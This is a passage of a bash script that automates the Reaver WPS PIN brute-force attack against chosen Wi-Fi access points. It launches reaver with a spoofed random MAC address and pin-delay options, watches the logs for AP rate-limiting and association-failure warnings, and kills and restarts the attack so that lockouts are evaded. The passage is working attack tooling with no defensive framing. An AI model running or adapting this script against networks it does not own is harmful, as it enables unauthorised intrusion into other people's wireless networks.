echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN43 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R43 == y || $USE_R43 == Y ]] && [[ $USE_LONG43 == y || $USE_LONG43 == Y ]] && [[ $USE_PIN43 == y || $USE_PIN43 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME43"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL43"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP43"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX43" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY43"
echo -e "$info Reaver live time                   = $yel$LIVE43 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME43-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL43 -b $TARGETAP43 -r $RX43:$RY43 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN43 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME43-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE43-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME43-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME43-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME43-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP43 (ESSID: $NMEWARN43)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE43 == n ] || [ $KEEP_FILE43 == N ]; then

          rm VARMAC_LOGS/$NAME43-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R44 == n || $USE_R44 == N ]] && [[ $USE_LONG44 == n || $USE_LONG44 == N ]] && [[ $USE_PIN44 == n || $USE_PIN44 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R44 == y || $USE_R44 == Y ]] && [[ $USE_LONG44 == n || $USE_LONG44 == N ]] && [[ $USE_PIN44 == n || $USE_PIN44 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX44" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY44"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -vv -x 60 -r $RX44:$RY44 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP44 (ESSID: $NMEWARN44)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R44 == n || $USE_R44 == N ]] && [[ $USE_LONG44 == y || $USE_LONG44 == Y ]] && [[ $USE_PIN44 == n || $USE_PIN44 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME44"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL44"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP44"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE44 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME44-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL44 -b $TARGETAP44 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME44-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE44-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME44-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME44-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME44-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME44-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

